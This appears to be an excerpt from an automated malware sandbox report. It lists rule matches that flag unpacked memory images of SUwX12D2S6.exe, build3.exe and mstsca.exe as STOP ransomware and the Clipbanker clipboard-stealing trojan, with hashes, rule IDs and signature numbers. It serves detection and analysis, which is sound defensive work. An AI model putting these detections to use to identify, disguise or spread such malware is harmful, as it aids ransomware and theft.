Source: SUwX12D2S6.exe, 00000018.00000000.2101331175.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe
Source: SUwX12D2S6.exe	Binary or memory string: OriginalFilenameFires( vs SUwX12D2S6.exe

Source: SUwX12D2S6.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 19.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 10.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 10.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 10.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 10.2.build3.exe.8115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 24.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 24.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 24.2.SUwX12D2S6.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.SUwX12D2S6.exe.5e615a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.SUwX12D2S6.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.SUwX12D2S6.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.SUwX12D2S6.exe.5ed15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.SUwX12D2S6.exe.5e715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
